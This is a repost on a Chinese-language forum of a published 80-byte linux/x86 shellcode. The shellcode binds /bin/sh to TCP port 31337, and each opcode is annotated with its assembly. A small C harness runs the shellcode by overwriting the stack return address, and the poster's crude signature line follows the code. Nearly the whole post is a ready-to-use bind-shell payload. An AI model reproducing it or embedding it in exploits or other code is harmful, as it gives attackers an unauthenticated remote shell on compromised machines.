发新话题
打印

linux/x86 Bind /bin/sh to 31337/tcp 80 bytes

linux/x86 Bind /bin/sh to 31337/tcp 80 bytes

文章作者:izik
复制内容到剪贴板
代码:
/*
* (linux/x86) bind '/bin/sh' to 31337/tcp - 80 bytes
* - izik <[email]izik@tty64.org[/email]>
*/

char shellcode[] =

  "\x6a\x66"          // push $0x66
  "\x58"            // pop %eax
  "\x99"            // cltd
  "\x6a\x01"          // push $0x1
  "\x5b"            // pop %ebx
  "\x52"            // push %edx
  "\x53"            // push %ebx
  "\x6a\x02"          // push $0x2

  //
  // <_doint>:
  //

  "\x89\xe1"          // mov %esp,%ecx
  "\xcd\x80"          // int $0x80

  "\x5b"            // pop %ebx
  "\x5d"            // pop %ebp
  "\x52"            // push %edx
  "\x66\xbd\x69\x7a"    // mov $0x7a69,%bp (0x7a69 = 31337)
  "\x0f\xcd"          // bswap %ebp
  "\x09\xdd"          // or %ebx,%ebp
  "\x55"            // push %ebp
  "\x6a\x10"          // push $0x10
  "\x51"            // push %ecx
  "\x50"            // push %eax
  "\x89\xe1"          // mov %esp,%ecx
  "\xb0\x66"          // mov $0x66,%al
  "\xcd\x80"          // int $0x80
  "\xb3\x04"          // mov $0x4,%bl
  "\xb0\x66"          // mov $0x66,%al
  "\xcd\x80"          // int $0x80
  "\x89\x64\x24\x08"    // mov %esp,0x8(%esp)
  "\x43"            // inc %ebx
  "\xb0\x66"          // mov $0x66,%al
  "\xcd\x80"          // int $0x80
  "\x93"            // xchg %eax,%ebx
  "\x59"            // pop %ecx

  //
  // <_dup2loop>:
  //

  "\xb0\x3f"          // mov $0x3f,%al
  "\xcd\x80"          // int $0x80
  "\x49"            // dec %ecx
  "\x79\xf9"          // jns <_dup2loop>

  "\xb0\x0b"          // mov $0xb,%al
  "\x52"            // push %edx
  "\x68\x2f\x2f\x73\x68"  // push $0x68732f2f
  "\x68\x2f\x62\x69\x6e"  // push $0x6e69622f
  "\x89\xe3"          // mov %esp,%ebx
  "\x52"            // push %edx
  "\x53"            // push %ebx
  "\xeb\xbb";         // jmp <_doint>

int main(int argc, char **argv) {
  int *ret;
  ret = (int *)&ret + 2;
  (*ret) = (int) shellcode;
}
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

发新话题